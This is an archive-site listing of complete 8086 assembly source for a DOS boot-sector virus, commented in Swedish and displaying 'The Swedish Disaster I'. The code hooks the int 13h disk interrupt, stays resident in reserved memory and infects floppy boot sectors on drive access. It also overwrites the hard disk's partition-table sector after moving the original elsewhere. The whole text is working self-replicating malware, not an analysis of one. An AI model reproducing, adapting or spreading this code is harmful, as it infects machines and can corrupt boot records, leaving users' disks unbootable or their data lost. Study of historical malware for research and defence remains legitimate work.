home *** CD-ROM | disk | FTP | other *** search
- ; Senast ändrad 891213.
- ;
- ; Lägger gamla bootsectorn på sida 1, spår 0, sector 3.
- ; sida 0, spår 0, sector 7 på HD.
-
-
- Code Segment
- Assume cs:Code
- Org 0000h
-
- Main Proc Far
- db 0EAh,05h,00h,0C0h,07h
-
- jmp Near Ptr Init ; Hoppa förbi variabler och nya int13h
-
-
- ; Variabler
-
- Old13h dd 0 ; Gamla vectorn till diskfunktionerna.
-
- TmpVec dd 0 ; Temporär vec. vid ändring av int 13.
-
- BootPek dw 0003h,0100h
-
- ; Slut på variabler
-
-
-
- Int13h Proc Near
- push ds
- push ax
- push bx
-
- cmp dl,00h ; Drive A
- jne Exit
-
- cmp ah,02h
- jb Exit
- cmp ah,04h
- ja Exit ; Kolla så att func. 2-4
-
- sub ax,ax
- mov ds,ax
- mov bx,043Fh ; Motor status byte.
- test Byte Ptr [bx],01h ; Testa om motorn i A: är på..
- jnz Exit ; Nej,hoppa till gamla int 13h
-
- call Smitta
-
- Exit: pop bx
- pop ax
- pop ds
- jmp [Old13h]
-
-
- Smitta Proc Near
- push cx
- push dx
- push si
- push di
- push es
-
- push cs
- pop es
- push cs
- pop ds
-
- mov si,0004h ; Max antal försök.
-
- Retry: mov ax,0201h ; Läs en sector
- mov bx,0200h ; Läs hit.
- mov cx,0001h ; Spår 0 Sector 1
- sub dx,dx ; Sida 0 Drive 0
- pushf
- call [Old13h] ; Läs in booten.
-
- jnc OK
-
- dec si
- jz Slut ; Hoppa ur om fel.
- jmp Retry ; Försök max 4 gånger.
-
-
- OK: mov si,0200h
- sub di,di
- cld
- lodsw
- cmp ax,[di]
- jne L2
- lodsw
- cmp ax,[di+2]
- jne L2
- jmp Slut
-
- L2: mov ax,0301h ; Skriv en sector.
- mov bx,0200h
- mov cx,0003h ; Spår 0 Sector 3
- mov dx,0100h ; Sida 1 Drive 0
- pushf
- call [Old13h] ; Flytta boot sectorn.
-
- mov ax,0301h
- sub bx,bx
- mov cx,0001h
- sub dx,dx
- pushf
- call [Old13h] ; Skriv ner viruset till booten.
-
- Slut: pop es
- pop di
- pop si
- pop dx
- pop cx
- ret
- Smitta Endp
- Int13h Endp
-
- Init: sub ax,ax
- mov ds,ax ; Nollar ds för att ändra vect.
-
- cli
- mov ss,ax
- mov sp,7C00h
- sti ; Sätter upp en ny stack.
-
- push cs
- pop es
- mov di,Offset Old13h
- mov si,004Ch
- mov cx,0004h
- cld
- rep movsb ; Flytta int 13h vectorn.
-
- mov bx,0413h
- mov ax,[bx] ; Minnesstorleken till ax.
- dec ax
- dec ax
- mov [bx],ax ; Reservera plats för viruset.
-
- mov cl,06h
- shl ax,cl
- mov es,ax ; Omvandla till segment addres.
-
- mov Word Ptr TmpVec,Offset Int13h
- mov Word Ptr TmpVec+2,es
- push es
- sub ax,ax
- mov es,ax
- push cs
- pop ds
- mov si,Offset TmpVec
- mov di,004Ch
- mov cx,0004h
- rep movsb
- pop es
-
- sub si,si
- mov di,si
- mov cx,0200h ; Hela viruset + lite till.
- rep movsb
-
- mov ax,Offset Here
- push es
- push ax
- ret ; Hoppa till viruset.
-
- Here: sub ax,ax
- int 13h ; Återställ driven
-
- sub ax,ax
- mov es,ax
- mov ax,0201h ; Läs en sector funk.
- mov bx,7C00h ; Hit laddas booten normalt.
- mov cx,BootPek
- mov dx,BootPek+2
- int 13h
-
- push cs
- pop es
- mov ax,0201h
- mov bx,0200h
- mov cx,0001h
- mov dx,0080h
- int 13h ; Läs in partions tabellen.
- jc Over
- push cs
- pop ds
- mov si,0200h
- sub di,di
- lodsw
- cmp ax,[di] ; Kolla om den är smittad.
- jne HdInf
- lodsw
- cmp ax,[di+2]
- jne HdInf
-
- Over: mov BootPek,0003h
- mov BootPek+2,0100h
- sub bx,bx
- push bx
- mov bx,7C00h
- push bx
- ret ; Kör den gamla booten.
-
- HdInf: mov BootPek,0007h
- mov BootPek+2,0080h
-
- mov ax,0301h
- mov bx,0200h
- mov cx,0007h
- mov dx,0080h
- int 13h ; Flytta orgin. part.tabellen.
- jc Over
-
- push cs
- pop ds
- push cs
- pop es
- mov si,03BEh
- mov di,01BEh
- mov cx,0042h
- cld
- rep movsb ; Kopiera part. data till viruset.
-
- mov ax,0301h
- sub bx,bx
- mov cx,0001h
- mov dx,0080h
- int 13h ; Skriv viruset till part. tabellen.
-
-
- sub ax,ax
- mov es,ax ; Kolla om msg:et ska skrivas ut.
- test Byte Ptr es:[046Ch],07h
- jnz HdInf1
-
- mov si,Offset Txt ; Detta utförs bara om man bootar från
- cld ; diskett.
- Foo1: lodsb
- cmp al,00h
- je HdInf1
- mov ah,0Eh
- sub bx,bx
- int 10h
- jmp Foo1
-
- HdInf1: jmp Over
-
-
- Slutet Label Byte ; Används för att veta var slutet är.
-
-
- Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h
-
-
- Main Endp
- Code Ends
- End
-